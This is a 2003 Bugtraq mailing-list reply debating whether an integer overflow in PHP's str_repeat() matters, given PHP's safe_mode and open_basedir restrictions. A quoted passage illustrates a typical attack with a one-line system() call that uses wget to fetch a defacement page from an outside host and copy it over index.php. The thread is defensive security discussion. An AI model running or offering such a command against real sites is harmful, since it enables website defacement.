Bugtraq mailing list archives
Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function
From: Javi Lavandeira <javi () isr co jp>
Date: Fri, 4 Apr 2003 10:45:39 -0900
Hi, On Thu, 3 Apr 2003 08:39:03 +0200 Goran Krajnovic <goran.krajnovic () hinet hr> wrote:
[...] If an attacker has the opportunity to execude PHP code of his choice on a target server [1], he does not need to exploit a buffer overflow in PHP just to get the privileges of the web server user - he already runs code with the privileges of that user. And having the ability to run PHP code gives him just about the same level of power as getting a non-root shell on the box. [...] [1] Usually by exploiting some of the poor programming practices in some PHP applications, misconfigurations, or bugs. See http://www.securityfocus.com/bid/3889 for example. In a typical attack, this is used to execute code, and the code is usually system('wget http://another.exploited.host/defaced-index.php'); system('cp defaced-index.php index.php') or similar.
You seem to be forgetting about PHP's safe_mode, disable_functions and open_basedir directives. If configured properly, a user in a server with PHP support should not be able to execute commands, read other users' files or do anything outside his directory. Even though PHP is running with the privileges of the web server, the user doesn't have these privileges (again, if properly configured). Many ISPs configure PHP in this way. *IF* the overflow really exists *AND* is exploitable, I would be very worried, because *THEN* users could gain the privileges of the web server and do things they shouldn't be doing. Regards, -- Javier Lavandeira International Systems Research http://www.isr.co.jp
Current thread:
- @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function Sir Mordred (Apr 02)
- Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function Goran Krajnovic (Apr 03)
- Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function Jedi/Sector One (Apr 04)
- Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function Javi Lavandeira (Apr 04)
- Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function Jon Ribbens (Apr 04)
- Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function Goran Krajnovic (Apr 03)